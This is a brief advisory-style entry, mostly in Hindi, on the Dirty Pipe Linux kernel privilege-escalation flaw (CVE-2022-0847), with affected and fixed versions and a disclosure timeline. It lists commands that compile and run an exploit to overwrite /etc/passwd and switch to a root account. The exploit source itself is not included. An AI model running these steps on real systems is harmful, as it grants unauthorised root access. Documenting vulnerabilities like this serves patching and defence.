CVE-2022-0847

जानकारी

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

शोषण कैसे करें

परीक्षण वातावरण：

स्थानीय विशेषाधिकार वृद्धि

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

संदर्भ

https://dirtypipe.cm4all.com/

समयरेखा

• 2021-04-29: फ़ाइल भ्रष्टाचार के बारे में पहला सहायता टिकट
• 2022-02-19: फ़ाइल भ्रष्टाचार की समस्या को लिनक्स कर्नेल बग के रूप में पहचाना गया, जो एक शोषण योग्य कमजोरी निकली
• 2022-02-20: बग रिपोर्ट, शोषण और पैच लिनक्स कर्नेल सुरक्षा टीम को भेजा गया
• 2022-02-21: Google Pixel 6 पर बग पुन: उत्पन्न हुआ; बग रिपोर्ट एंड्रॉइड सुरक्षा टीम को भेजी गई
• 2022-02-21: पैच LKML को भेजा गया (बिना कमजोरी के विवरण के) जैसा कि Linus Torvalds, Willy Tarreau और Al Viro ने सुझाव दिया
• 2022-02-23: मेरे बग फिक्स के साथ लिनक्स स्थिर रिलीज़ (5.16.11, 5.15.25, 5.10.102)
• 2022-02-24: Google मेरे बग फिक्स को एंड्रॉइड कर्नेल में मर्ज करता है
• 2022-02-28: linux-distros मेलिंग सूची को सूचित किया गया
• 2022-03-07: सार्वजनिक प्रकटीकरण